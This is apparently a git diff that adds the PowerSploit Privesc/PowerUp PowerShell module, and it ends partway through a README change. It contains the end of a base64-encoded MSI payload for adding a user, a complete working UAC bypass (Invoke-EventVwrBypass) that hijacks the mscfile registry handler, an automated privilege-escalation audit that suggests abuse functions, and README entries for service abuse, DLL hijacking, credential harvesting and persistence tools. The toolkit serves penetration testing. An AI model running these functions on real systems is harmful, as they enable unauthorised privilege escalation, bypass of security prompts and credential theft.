AMAAAADgACAABAEEAcwBzAGUAbQBiAGwAeQAgAFYAZQByAHMAaQBvAG4AAAAxAC4AMAAuADAALgAwAAAA77u/PD94bWwgdmVyc2lvbj0iMS4wIiBlbmNvZGluZz0iVVRGLTgiIHN0YW5kYWxvbmU9InllcyI/Pg0KPGFzc2VtYmx5IHhtbG5zPSJ1cm46c2NoZW1hcy1taWNyb3NvZnQtY29tOmFzbS52MSIgbWFuaWZlc3RWZXJzaW9uPSIxLjAiPg0KICA8YXNzZW1ibHlJZGVudGl0eSB2ZXJzaW9uPSIxLjAuMC4wIiBuYW1lPSJNeUFwcGxpY2F0aW9uLmFwcCIvPg0KICA8dHJ1c3RJbmZvIHhtbG5zPSJ1cm46c2NoZW1hcy1taWNyb3NvZnQtY29tOmFzbS52MiI+DQogICAgPHNlY3VyaXR5Pg0KICAgICAgPHJlcXVlc3RlZFByaXZpbGVnZXMgeG1sbnM9InVybjpzY2hlbWFzLW1pY3Jvc29mdC1jb206YXNtLnYzIj4NCiAgICAgICAgPHJlcXVlc3RlZEV4ZWN1dGlvbkxldmVsIGxldmVsPSJhc0ludm9rZXIiIHVpQWNjZXNzPSJmYWxzZSIvPg0KICAgICAgPC9yZXF1ZXN0ZWRQcml2aWxlZ2VzPg0KICAgIDwvc2VjdXJpdHk+DQogIDwvdHJ1c3RJbmZvPg0KPC9hc3NlbWJseT4NCgAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAMAAADAAAAPA7AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAACBzZXQuICBUaGUgZGVmYXVsdCBpcyAiQUxMIi5BY3Rpb25Qcm9wZXJ0eVRoZSBwcm9wZXJ0eSB0byBzZXQgd2hlbiBhIHByb2R1Y3QgaW4gdGhpcyBzZXQgaXMgZm91bmQuQ29zdEluaXRpYWxpemVGaWxlQ29zdENvc3RGaW5hbGl6ZUluc3RhbGxWYWxpZGF0ZUluc3RhbGxJbml0aWFsaXplSW5zdGFsbEFkbWluUGFja2FnZUluc3RhbGxGaWxlc0luc3RhbGxGaW5hbGl6ZUV4ZWN1dGVBY3Rpb25QdWJsaXNoRmVhdHVyZXNQdWJsaXNoUHJvZHVjdGJ6LldyYXBwZWRTZXR1cFByb2dyYW1iei5DdXN0b21BY3Rpb25EbGxiei5Qcm9kdWN0Q29tcG9uZW50e0VERTEwRjZDLTMwRjQtNDJDQS1CNUM3LUFEQjkwNUU0NUJGQ31CWi5JTlNUQUxMRk9MREVScmVnOUNBRTU3QUY3QjlGQjRFRjI3MDZGOTVCNEI4M0I0MTlTZXRQcm9wZXJ0eUZvckRlZmVycmVkYnouTW9kaWZ5UmVnaXN0cnlbQlouV1JBUFBFRF9BUFBJRF1iei5TdWJzdFdyYXBwZWRBcmd1bWVudHNfU3Vic3RXcmFwcGVkQXJndW1lbnRzQDRiei5SdW5XcmFwcGVkU2V0dXBbYnouU2V0dXBTaXplXSAiW1NvdXJjZURpcl1cLiIgW0JaLklOU1RBTExfU1VDQ0VTU19DT0RFU10gKltCWi5GSVhFRF9JTlNUQUxMX0FSR1VNRU5UU11bV1JBUFBFRF9BUkdVTUVOVFNdX01vZGlmeVJlZ2lzdHJ5QDRiei5Vbmluc3RhbGxXcmFwcGVkX1VuaW5zdGFsbFdyYXBwZWRANFByb2dyYW1GaWxlc0ZvbGRlcmJ4anZpbHc3fFtCWi5DT01QQU5ZTkFNRV1UQVJHRVRESVIuU291cmNlRGlyUHJvZHVjdEZlYXR1cmVNYWluIEZlYXR1cmVQcm9kdWN0SWNvbkZpbmRSZWxhdGVkUHJvZHVjdHNMYXVuY2hDb25kaXRpb25zVmFsaWRhdGVQcm9kdWN0SURNaWdyYXRlRmVhdHVyZVN0YXRlc1Byb2Nlc3NDb21wb25lbnRzVW5wdWJsaXNoRmVhdHVyZXNSZW1vdmVSZWdpc3RyeVZhbHVlc1dyaXRlUmVnaXN0cnlWYWx1ZXNSZWdpc3RlclVzZXJSZWdpc3RlclByb2R1Y3RSZW1vdmVFeGlzdGluZ1Byb2R1Y3RzTk9UIFJFTU9WRSB+PSJBTEwiIEFORCBOT1QgVVBHUkFERVBST0RVQ1RDT0RFUkVNT1ZFIH49ICJBTEwiIEFORCBOT1QgVVBHUkFESU5HUFJPRFVDVENPREVOT1QgV0lYX0RPV05HUkFERV9ERVRFQ1RFRERvd25ncmFkZXMgYXJlIG5vdCBhbGxvd2VkLkFMTFVTRVJTMUFSUE5PUkVQQUlSQVJQTk9NT0RJRllBUlBQUk9EVUNUSUNPTkFSUEhFTFBMSU5LaHR0cDovL3d3dy5leGVtc2kuY29tQVJQVVJMSU5GT0FCT1VUQVJQQ09NTUVOVFNNU0kgVGVtcGxhdGUuQVJQQ09OVEFDVE15IGNvbnRhY3QgaW5mb3JtYXRpb24uQVJQVVJMVVBEQVRFSU5GT015IHVwZGF0ZSBpbmZvcm1hdGlvbi5CWi5WRVJGQlouV1JBUFBFRF9BUFBJRHs1NjYyODkxMi04RUQ0LTQ4RUYtQUM1Mi1FRTgzQTFCRkJGMTF9X2lzMUJaLkNPTVBBTllOQU1FRVhFTVNJLkNPTUJaLklOU1RBTExfU1VDQ0VTU19DT0RFUzBCWi5GSVhFRF9JTlNUQUxMX0FSR1VNRU5UUy9TSUxFTlQgQlouVUlOT05FX0lOU1RBTExfQVJHVU1FTlRTIEJaLlVJQkFTSUNfSU5TVEFMTF9BUkdVTUVOVFNCWi5VSVJFRFVDRURfSU5TVEFMTF9BUkdVTUVOVFNCWi5VSUZVTExfSU5TVEFMTF9BUkdVTUVOVFNCWi5GSVhFRF9VTklOU1RBTExfQVJHVU1FTlRTQlouVUlOT05FX1VOSU5TVEFMTF9BUkdVTUVOVFNCWi5VSUJBU0lDX1VOSU5TVEFMTF9BUkdVTUVOVFNCWi5VSVJFRFVDRURfVU5JTlNUQUxMX0FSR1VNRU5UU0JaLlVJRlVMTF9VTklOU1RBTExfQVJHVU1FTlRTYnouU2V0dXBTaXplMjMyOTYwTWFudWZhY3R1cmVyUHJvZHVjdENvZGV7MjcxQkJDRUQtRjM2QS00RThFLUE1NzYtOTQ1NUYwQ0EwMUE4fVByb2R1Y3RMYW5ndWFnZTEwMzNQcm9kdWN0TmFtZU1TSSBXcmFwcGVyIFRlbXBsYXRlUHJvZHVjdFZlcnNpb24xLjAuMC4we0NDMDM1QzE4LTBGQzctNDcwOC04ODA2LUQ0QjA5MUU1OUFBN31TZWN1cmVDdXN0b21Qcm9wZXJ0aWVzV0lYX0RPV05HUkFERV9ERVRFQ1RFRDtXSVhfVVBHUkFERV9ERVRFQ1RFRFNPRlRXQVJFXFtCWi5DT01QQU5ZTkFNRV1cTVNJIFdyYXBwZXJcSW5zdGFsbGVkXFtCWi5XUkFQUEVEX0FQUElEXUxvZ29uVXNlcltMb2dv' + + try { + [System.Convert]::FromBase64String( $Binary ) | Set-Content -Path $Path -Encoding Byte + Write-Verbose "MSI written out to '$Path'" + + $Out = New-Object PSObject + $Out | Add-Member Noteproperty 'OutputPath' $Path + $Out.PSObject.TypeNames.Insert(0, 'PowerUp.UserAddMSI') + $Out + } + catch { + Write-Warning "Error while writing to location '$Path': $_" + } +} + + +function Invoke-EventVwrBypass { +<# +.SYNOPSIS + +Bypasses UAC by performing an image hijack on the .msc file extension +Only tested on Windows 7 and Windows 10 + +Author: Matt Nelson (@enigma0x3) +License: BSD 3-Clause +Required Dependencies: None + +.PARAMETER Command + + Specifies the command you want to run in a high-integrity context. For example, you can pass it powershell.exe followed by any encoded command "powershell -enc " + +.EXAMPLE + +Invoke-EventVwrBypass -Command "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe -enc IgBJAHMAIABFAGwAZQB2AGEAdABlAGQAOgAgACQAKAAoAFsAUwBlAGMAdQByAGkAdAB5AC4AUAByAGkAbgBjAGkAcABhAGwALgBXAGkAbgBkAG8AdwBzAFAAcgBpAG4AYwBpAHAAYQBsAF0AWwBTAGUAYwB1AHIAaQB0AHkALgBQAHIAaQBuAGMAaQBwAGEAbAAuAFcAaQBuAGQAbwB3AHMASQBkAGUAbgB0AGkAdAB5AF0AOgA6AEcAZQB0AEMAdQByAHIAZQBuAHQAKAApACkALgBJAHMASQBuAFIAbwBsAGUAKABbAFMAZQBjAHUAcgBpAHQAeQAuAFAAcgBpAG4AYwBpAHAAYQBsAC4AVwBpAG4AZABvAHcAcwBCAHUAaQBsAHQASQBuAFIAbwBsAGUAXQAnAEEAZABtAGkAbgBpAHMAdAByAGEAdABvAHIAJwApACkAIAAtACAAJAAoAEcAZQB0AC0ARABhAHQAZQApACIAIAB8ACAATwB1AHQALQBGAGkAbABlACAAQwA6AFwAVQBBAEMAQgB5AHAAYQBzAHMAVABlAHMAdAAuAHQAeAB0ACAALQBBAHAAcABlAG4AZAA=" + +This will write out "Is Elevated: True" to C:\UACBypassTest. +#> + + [CmdletBinding(SupportsShouldProcess = $True, ConfirmImpact = 'Medium')] + Param ( + [Parameter(Mandatory = $True)] + [ValidateNotNullOrEmpty()] + [String] + $Command, + + [Switch] + $Force + ) + $ConsentPrompt = (Get-ItemProperty HKLM:\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System).ConsentPromptBehaviorAdmin + $SecureDesktopPrompt = (Get-ItemProperty HKLM:\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System).PromptOnSecureDesktop + + if($ConsentPrompt -Eq 2 -And $SecureDesktopPrompt -Eq 1){ + "UAC is set to 'Always Notify'. This module does not bypass this setting." + exit + } + else{ + #Begin Execution + $mscCommandPath = "HKCU:\Software\Classes\mscfile\shell\open\command" + $Command = $pshome + '\' + $Command + #Add in the new registry entries to hijack the msc file + if ($Force -or ((Get-ItemProperty -Path $mscCommandPath -Name '(default)' -ErrorAction SilentlyContinue) -eq $null)){ + New-Item $mscCommandPath -Force | + New-ItemProperty -Name '(Default)' -Value $Command -PropertyType string -Force | Out-Null + }else{ + Write-Warning "Key already exists, consider using -Force" + exit + } + + if (Test-Path $mscCommandPath) { + Write-Verbose "Created registry entries to hijack the msc extension" + }else{ + Write-Warning "Failed to create registry key, exiting" + exit + } + + $EventvwrPath = Join-Path -Path ([Environment]::GetFolderPath('System')) -ChildPath 'eventvwr.exe' + #Start Event Viewer + if ($PSCmdlet.ShouldProcess($EventvwrPath, 'Start process')) { + $Process = Start-Process -FilePath $EventvwrPath -PassThru + Write-Verbose "Started eventvwr.exe" + } + + #Sleep 5 seconds + Write-Verbose "Sleeping 5 seconds to trigger payload" + if (-not $PSBoundParameters['WhatIf']) { + Start-Sleep -Seconds 5 + } + + $mscfilePath = "HKCU:\Software\Classes\mscfile" + + if (Test-Path $mscfilePath) { + #Remove the registry entry + Remove-Item $mscfilePath -Recurse -Force + Write-Verbose "Removed registry entries" + } + + if(Get-Process -Id $Process.Id -ErrorAction SilentlyContinue){ + Stop-Process -Id $Process.Id + Write-Verbose "Killed running eventvwr process" + } + } +} + + +function Invoke-PrivescAudit { +<# +.SYNOPSIS + +Executes all functions that check for various Windows privilege escalation opportunities. + +Author: Will Schroeder (@harmj0y) +License: BSD 3-Clause +Required Dependencies: None + +.DESCRIPTION + +Executes all functions that check for various Windows privilege escalation opportunities. + +.PARAMETER Format + +String. Format to decide on what is returned from the command, an Object Array, List, or HTML Report. + +.PARAMETER HTMLReport + +DEPRECATED - Switch. Write a HTML version of the report to SYSTEM.username.html. +Superseded by the Format parameter. + +.EXAMPLE + +Invoke-PrivescAudit + +Runs all escalation checks and outputs a status report for discovered issues. + +.EXAMPLE + +Invoke-PrivescAudit -Format HTML + +Runs all escalation checks and outputs a status report to SYSTEM.username.html +detailing any discovered issues. + +#> + + [Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSShouldProcess', '')] + [CmdletBinding()] + Param( + [ValidateSet('Object','List','HTML')] + [String] + $Format = 'Object', + [Switch] + $HTMLReport + ) + + if($HTMLReport){ $Format = 'HTML' } + + if ($Format -eq 'HTML') { + $HtmlReportFile = "$($Env:ComputerName).$($Env:UserName).html" + $Header = "" + ConvertTo-HTML -Head $Header -Body "

PowerUp report for '$($Env:ComputerName).$($Env:UserName)'

" | Out-File $HtmlReportFile + } + + Write-Verbose "Running Invoke-PrivescAudit" + + $Checks = @( + # Initial admin checks + @{ + Type = 'User Has Local Admin Privileges' + Command = { if (([Security.Principal.WindowsPrincipal] [Security.Principal.WindowsIdentity]::GetCurrent()).IsInRole([Security.Principal.WindowsBuiltInRole] "Administrator")){ New-Object PSObject } } + }, + @{ + Type = 'User In Local Group with Admin Privileges' + Command = { if ((Get-ProcessTokenGroup | Select-Object -ExpandProperty SID) -contains 'S-1-5-32-544'){ New-Object PSObject } } + AbuseScript = { 'Invoke-WScriptUACBypass -Command "..."' } + }, + @{ + Type = 'Process Token Privileges' + Command = { Get-ProcessTokenPrivilege -Special | Where-Object {$_} } + }, + # Service checks + @{ + Type = 'Unquoted Service Paths' + Command = { Get-UnquotedService } + }, + @{ + Type = 'Modifiable Service Files' + Command = { Get-ModifiableServiceFile } + }, + @{ + Type = 'Modifiable Services' + Command = { Get-ModifiableService } + }, + # DLL hijacking + @{ + Type = '%PATH% .dll Hijacks' + Command = { Find-PathDLLHijack } + AbuseScript = { "Write-HijackDll -DllPath '$($_.ModifiablePath)\wlbsctrl.dll'" } + }, + # Registry checks + @{ + Type = 'AlwaysInstallElevated Registry Key' + Command = { if (Get-RegistryAlwaysInstallElevated){ New-Object PSObject } } + AbuseScript = { 'Write-UserAddMSI' } + }, + @{ + Type = 'Registry Autologons' + Command = { Get-RegistryAutoLogon } + }, + @{ + Type = 'Modifiable Registry Autorun' + Command = { Get-ModifiableRegistryAutoRun } + }, + # Other checks + @{ + Type = 'Modifiable Scheduled Task Files' + Command = { Get-ModifiableScheduledTaskFile } + }, + @{ + Type = 'Unattended Install Files' + Command = { Get-UnattendedInstallFile } + }, + @{ + Type = 'Encrypted web.config Strings' + Command = { Get-WebConfig | Where-Object {$_} } + }, + @{ + Type = 'Encrypted Application Pool Passwords' + Command = { Get-ApplicationHost | Where-Object {$_} } + }, + @{ + Type = 'McAfee SiteList.xml files' + Command = { Get-SiteListPassword | Where-Object {$_} } + }, + @{ + Type = 'Cached GPP Files' + Command = { Get-CachedGPPPassword | Where-Object {$_} } + } + ) + + ForEach($Check in $Checks){ + Write-Verbose "Checking for $($Check.Type)..." + $Results = . $Check.Command + $Results | Where-Object {$_} | ForEach-Object { + $_ | Add-Member Noteproperty 'Check' $Check.Type + if ($Check.AbuseScript){ + $_ | Add-Member Noteproperty 'AbuseFunction' (. $Check.AbuseScript) + } + } + switch($Format){ + Object { $Results } + List { "`n`n[*] Checking for $($Check.Type)..."; $Results | Format-List } + HTML { $Results | ConvertTo-HTML -Head $Header -Body "

$($Check.Type)

" | Out-File -Append $HtmlReportFile } + } + } + + if ($Format -eq 'HTML') { + Write-Verbose "[*] Report written to '$HtmlReportFile' `n" + } +} + + +# PSReflect signature specifications +$Module = New-InMemoryModule -ModuleName PowerUpModule +# [Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSAvoidUsingPositionalParameters', '', Scope='Function')] + +$FunctionDefinitions = @( + (func kernel32 GetCurrentProcess ([IntPtr]) @()), + (func kernel32 OpenProcess ([IntPtr]) @([UInt32], [Bool], [UInt32]) -SetLastError), + (func kernel32 CloseHandle ([Bool]) @([IntPtr]) -SetLastError), + (func advapi32 OpenProcessToken ([Bool]) @([IntPtr], [UInt32], [IntPtr].MakeByRefType()) -SetLastError) + (func advapi32 GetTokenInformation ([Bool]) @([IntPtr], [UInt32], [IntPtr], [UInt32], [UInt32].MakeByRefType()) -SetLastError), + (func advapi32 ConvertSidToStringSid ([Int]) @([IntPtr], [String].MakeByRefType()) -SetLastError), + (func advapi32 LookupPrivilegeName ([Int]) @([IntPtr], [IntPtr], [String].MakeByRefType(), [Int32].MakeByRefType()) -SetLastError), + (func advapi32 QueryServiceObjectSecurity ([Bool]) @([IntPtr], [Security.AccessControl.SecurityInfos], [Byte[]], [UInt32], [UInt32].MakeByRefType()) -SetLastError), + (func advapi32 ChangeServiceConfig ([Bool]) @([IntPtr], [UInt32], [UInt32], [UInt32], [String], [IntPtr], [IntPtr], [IntPtr], [IntPtr], [IntPtr], [IntPtr]) -SetLastError -Charset Unicode), + (func advapi32 CloseServiceHandle ([Bool]) @([IntPtr]) -SetLastError), + (func ntdll RtlAdjustPrivilege ([UInt32]) @([Int32], [Bool], [Bool], [Int32].MakeByRefType())) +) + +# https://rohnspowershellblog.wordpress.com/2013/03/19/viewing-service-acls/ +$ServiceAccessRights = psenum $Module PowerUp.ServiceAccessRights UInt32 @{ + QueryConfig = '0x00000001' + ChangeConfig = '0x00000002' + QueryStatus = '0x00000004' + EnumerateDependents = '0x00000008' + Start = '0x00000010' + Stop = '0x00000020' + PauseContinue = '0x00000040' + Interrogate = '0x00000080' + UserDefinedControl = '0x00000100' + Delete = '0x00010000' + ReadControl = '0x00020000' + WriteDac = '0x00040000' + WriteOwner = '0x00080000' + Synchronize = '0x00100000' + AccessSystemSecurity = '0x01000000' + GenericAll = '0x10000000' + GenericExecute = '0x20000000' + GenericWrite = '0x40000000' + GenericRead = '0x80000000' + AllAccess = '0x000F01FF' +} -Bitfield + +$SidAttributes = psenum $Module PowerUp.SidAttributes UInt32 @{ + SE_GROUP_MANDATORY = '0x00000001' + SE_GROUP_ENABLED_BY_DEFAULT = '0x00000002' + SE_GROUP_ENABLED = '0x00000004' + SE_GROUP_OWNER = '0x00000008' + SE_GROUP_USE_FOR_DENY_ONLY = '0x00000010' + SE_GROUP_INTEGRITY = '0x00000020' + SE_GROUP_RESOURCE = '0x20000000' + SE_GROUP_INTEGRITY_ENABLED = '0xC0000000' +} -Bitfield + +$LuidAttributes = psenum $Module PowerUp.LuidAttributes UInt32 @{ + DISABLED = '0x00000000' + SE_PRIVILEGE_ENABLED_BY_DEFAULT = '0x00000001' + SE_PRIVILEGE_ENABLED = '0x00000002' + SE_PRIVILEGE_REMOVED = '0x00000004' + SE_PRIVILEGE_USED_FOR_ACCESS = '0x80000000' +} -Bitfield + +$SecurityEntity = psenum $Module PowerUp.SecurityEntity UInt32 @{ + SeCreateTokenPrivilege = 1 + SeAssignPrimaryTokenPrivilege = 2 + SeLockMemoryPrivilege = 3 + SeIncreaseQuotaPrivilege = 4 + SeUnsolicitedInputPrivilege = 5 + SeMachineAccountPrivilege = 6 + SeTcbPrivilege = 7 + SeSecurityPrivilege = 8 + SeTakeOwnershipPrivilege = 9 + SeLoadDriverPrivilege = 10 + SeSystemProfilePrivilege = 11 + SeSystemtimePrivilege = 12 + SeProfileSingleProcessPrivilege = 13 + SeIncreaseBasePriorityPrivilege = 14 + SeCreatePagefilePrivilege = 15 + SeCreatePermanentPrivilege = 16 + SeBackupPrivilege = 17 + SeRestorePrivilege = 18 + SeShutdownPrivilege = 19 + SeDebugPrivilege = 20 + SeAuditPrivilege = 21 + SeSystemEnvironmentPrivilege = 22 + SeChangeNotifyPrivilege = 23 + SeRemoteShutdownPrivilege = 24 + SeUndockPrivilege = 25 + SeSyncAgentPrivilege = 26 + SeEnableDelegationPrivilege = 27 + SeManageVolumePrivilege = 28 + SeImpersonatePrivilege = 29 + SeCreateGlobalPrivilege = 30 + SeTrustedCredManAccessPrivilege = 31 + SeRelabelPrivilege = 32 + SeIncreaseWorkingSetPrivilege = 33 + SeTimeZonePrivilege = 34 + SeCreateSymbolicLinkPrivilege = 35 +} + +$SID_AND_ATTRIBUTES = struct $Module PowerUp.SidAndAttributes @{ + Sid = field 0 IntPtr + Attributes = field 1 UInt32 +} + +$TOKEN_TYPE_ENUM = psenum $Module PowerUp.TokenTypeEnum UInt32 @{ + Primary = 1 + Impersonation = 2 +} + +$TOKEN_TYPE = struct $Module PowerUp.TokenType @{ + Type = field 0 $TOKEN_TYPE_ENUM +} + +$SECURITY_IMPERSONATION_LEVEL_ENUM = psenum $Module PowerUp.ImpersonationLevelEnum UInt32 @{ + Anonymous = 0 + Identification = 1 + Impersonation = 2 + Delegation = 3 +} + +$IMPERSONATION_LEVEL = struct $Module PowerUp.ImpersonationLevel @{ + ImpersonationLevel = field 0 $SECURITY_IMPERSONATION_LEVEL_ENUM +} + +$TOKEN_GROUPS = struct $Module PowerUp.TokenGroups @{ + GroupCount = field 0 UInt32 + Groups = field 1 $SID_AND_ATTRIBUTES.MakeArrayType() -MarshalAs @('ByValArray', 32) +} + +$LUID = struct $Module PowerUp.Luid @{ + LowPart = field 0 $SecurityEntity + HighPart = field 1 Int32 +} + +$LUID_AND_ATTRIBUTES = struct $Module PowerUp.LuidAndAttributes @{ + Luid = field 0 $LUID + Attributes = field 1 UInt32 +} + +$TOKEN_PRIVILEGES = struct $Module PowerUp.TokenPrivileges @{ + PrivilegeCount = field 0 UInt32 + Privileges = field 1 $LUID_AND_ATTRIBUTES.MakeArrayType() -MarshalAs @('ByValArray', 50) +} + +$Types = $FunctionDefinitions | Add-Win32Type -Module $Module -Namespace 'PowerUp.NativeMethods' +$Advapi32 = $Types['advapi32'] +$Kernel32 = $Types['kernel32'] +$NTDll = $Types['ntdll'] + +Set-Alias Get-CurrentUserTokenGroupSid Get-ProcessTokenGroup +Set-Alias Invoke-AllChecks Invoke-PrivescAudit diff --git a/Privesc/Privesc.psd1 b/Privesc/Privesc.psd1 new file mode 100644 index 00000000..bcd2443c --- /dev/null +++ b/Privesc/Privesc.psd1 @@ -0,0 +1,62 @@ +@{ + +# Script module or binary module file associated with this manifest. +ModuleToProcess = 'Privesc.psm1' + +# Version number of this module. +ModuleVersion = '3.0.0.0' + +# ID used to uniquely identify this module +GUID = 'efb2a78f-a069-4bfd-91c2-7c7c0c225f56' + +# Author of this module +Author = 'Will Schroeder (@harmj0y)' + +# Copyright statement for this module +Copyright = 'BSD 3-Clause' + +# Description of the functionality provided by this module +Description = 'PowerSploit Privesc Module' + +# Minimum version of the Windows PowerShell engine required by this module +PowerShellVersion = '2.0' + +# Functions to export from this module +FunctionsToExport = @( + 'Get-ModifiablePath', + 'Get-ProcessTokenGroup', + 'Get-ProcessTokenPrivilege', + 'Enable-Privilege', + 'Add-ServiceDacl', + 'Set-ServiceBinaryPath', + 'Test-ServiceDaclPermission', + 'Get-UnquotedService', + 'Get-ModifiableServiceFile', + 'Get-ModifiableService', + 'Get-ServiceDetail', + 'Invoke-ServiceAbuse', + 'Write-ServiceBinary', + 'Install-ServiceBinary', + 'Restore-ServiceBinary', + 'Find-ProcessDLLHijack', + 'Find-PathDLLHijack', + 'Write-HijackDll', + 'Get-RegistryAlwaysInstallElevated', + 'Get-RegistryAutoLogon', + 'Get-ModifiableRegistryAutoRun', + 'Get-ModifiableScheduledTaskFile', + 'Get-UnattendedInstallFile', + 'Get-WebConfig', + 'Get-ApplicationHost', + 'Get-SiteListPassword', + 'Get-CachedGPPPassword', + 'Write-UserAddMSI', + 'Invoke-EventVwrBypass', + 'Invoke-PrivescAudit', + 'Get-System' +) + +# List of all files packaged with this module +FileList = 'Privesc.psm1', 'Get-System.ps1', 'PowerUp.ps1', 'README.md' + +} diff --git a/PETools/PETools.psm1 b/Privesc/Privesc.psm1 similarity index 95% rename from PETools/PETools.psm1 rename to Privesc/Privesc.psm1 index e5234fbe..81d38186 100644 --- a/PETools/PETools.psm1 +++ b/Privesc/Privesc.psm1 @@ -1 +1 @@ -Get-ChildItem (Join-Path $PSScriptRoot *.ps1) | % { . $_.FullName} \ No newline at end of file +Get-ChildItem (Join-Path $PSScriptRoot *.ps1) | % { . $_.FullName} diff --git a/Privesc/README.md b/Privesc/README.md new file mode 100644 index 00000000..ac161d83 --- /dev/null +++ b/Privesc/README.md @@ -0,0 +1,69 @@ +To install this module, drop the entire Privesc folder into one of your module directories. The default PowerShell module paths are listed in the $Env:PSModulePath environment variable. + +The default per-user module path is: "$Env:HomeDrive$Env:HOMEPATH\Documents\WindowsPowerShell\Modules" +The default computer-level module path is: "$Env:windir\System32\WindowsPowerShell\v1.0\Modules" + +To use the module, type `Import-Module Privesc` + +To see the commands imported, type `Get-Command -Module Privesc` + +For help on each individual command, Get-Help is your friend. + +Note: The tools contained within this module were all designed such that they can be run individually. Including them in a module simply lends itself to increased portability. + + +## PowerUp + +PowerUp aims to be a clearinghouse of common Windows privilege escalation +vectors that rely on misconfigurations. + +Running Invoke-AllChecks will output any identifiable vulnerabilities along +with specifications for any abuse functions. The -HTMLReport flag will also +generate a COMPUTER.username.html version of the report. + +Author: @harmj0y +License: BSD 3-Clause +Required Dependencies: None +Optional Dependencies: None + + +### Token/Privilege Enumeration/Abuse: + Get-ProcessTokenGroup - returns all SIDs that the current token context is a part of, whether they are disabled or not + Get-ProcessTokenPrivilege - returns all privileges for the current (or specified) process ID + Enable-Privilege - enables a specific privilege for the current process + +### Service Enumeration/Abuse: + Test-ServiceDaclPermission - tests one or more passed services or service names against a given permission set + Get-UnquotedService - returns services with unquoted paths that also have a space in the name + Get-ModifiableServiceFile - returns services where the current user can write to the service binary path or its config + Get-ModifiableService - returns services the current user can modify + Get-ServiceDetail - returns detailed information about a specified service + Set-ServiceBinaryPath - sets the binary path for a service to a specified value + Invoke-ServiceAbuse - modifies a vulnerable service to create a local admin or execute a custom command + Write-ServiceBinary - writes out a patched C# service binary that adds a local admin or executes a custom command + Install-ServiceBinary - replaces a service binary with one that adds a local admin or executes a custom command + Restore-ServiceBinary - restores a replaced service binary with the original executable + +### DLL Hijacking: + Find-ProcessDLLHijack - finds potential DLL hijacking opportunities for currently running processes + Find-PathDLLHijack - finds service %PATH% DLL hijacking opportunities + Write-HijackDll - writes out a hijackable DLL + +### Registry Checks: + Get-RegistryAlwaysInstallElevated - checks if the AlwaysInstallElevated registry key is set + Get-RegistryAutoLogon - checks for Autologon credentials in the registry + Get-ModifiableRegistryAutoRun - checks for any modifiable binaries/scripts (or their configs) in HKLM autoruns + +### Miscellaneous Checks: + Get-ModifiableScheduledTaskFile - find schtasks with modifiable target files + Get-UnattendedInstallFile - finds remaining unattended installation files + Get-Webconfig - checks for any encrypted web.config strings + Get-ApplicationHost - checks for encrypted application pool and virtual directory passwords + Get-SiteListPassword - retrieves the plaintext passwords for any found McAfee's SiteList.xml files + Get-CachedGPPPassword - checks for passwords in cached Group Policy Preferences files + +### Other Helpers/Meta-Functions: + Get-ModifiablePath - tokenizes an input string and returns the files in it the current user can modify + Write-UserAddMSI - write out a MSI installer that prompts for a user to be added + Invoke-WScriptUACBypass - performs the bypass UAC attack by abusing the lack of an embedded manifest in wscript.exe + Invoke-PrivescAudit - runs all current escalation checks and returns a report (formerly Invoke-AllChecks) diff --git a/README.md b/README.md index 35a1d83e..3871bcef 100644 --- a/README.md +++ b/README.md @@ -1,4 +1,6 @@ -### PowerSploit is a collection of Microsoft PowerShell modules that can be used to aid reverse engineers, forensic analysts, and penetration testers during all phases of an assessment. PowerSploit is comprised of the following modules and scripts: +## This project is no longer supported + +### PowerSploit is a collection of Microsoft PowerShell modules that can be used to aid penetration testers during all phases of an assessment. PowerSploit is comprised of the following modules and scripts: ## CodeExecution @@ -16,13 +18,9 @@ Reflectively loads a Windows PE file (DLL/EXE) in to the powershell process, or Injects shellcode into the process ID of your choosing or within PowerShell locally. -#### `Invoke-ShellcodeMSIL` - -Execute shellcode within the context of the running PowerShell process without making any Win32 function calls. +#### `Invoke-WmiCommand` -#### `Watch-BlueScreen` - -Cause a blue screen to occur (Windows 7 and below). +Executes a PowerShell ScriptBlock on a target computer and returns its formatted output using WMI as a C2 channel. ## ScriptModification @@ -40,7 +38,7 @@ Compresses, Base-64 encodes, and outputs generated code to load a managed dll in Encrypts text files/scripts. -#### `Remove-Comments` +#### `Remove-Comment` Strips comments and extra whitespace from a script. @@ -48,11 +46,11 @@ Strips comments and extra whitespace from a script. **Add persistence capabilities to a PowerShell script** -#### `New-UserPersistenceOptions` +#### `New-UserPersistenceOption` Configure user-level persistence options for the Add-Persistence function. -#### `New-ElevatedPersistenceOptions` +#### `New-ElevatedPersistenceOption` Configure elevated persistence options for the Add-Persistence function. @@ -60,113 +58,106 @@ Configure elevated persistence options for the Add-Persistence function. Add persistence capabilities to a script. -## PETools - -**Parse/manipulate Windows portable executables.** - -#### `Get-PEHeader` - -An in-memory and on-disk PE parsing utility. - -#### `Get-ObjDump` +#### `Install-SSP` -Displays information about one or more Windows object files. +Installs a security support provider (SSP) dll. -#### `Get-LibSymbols` 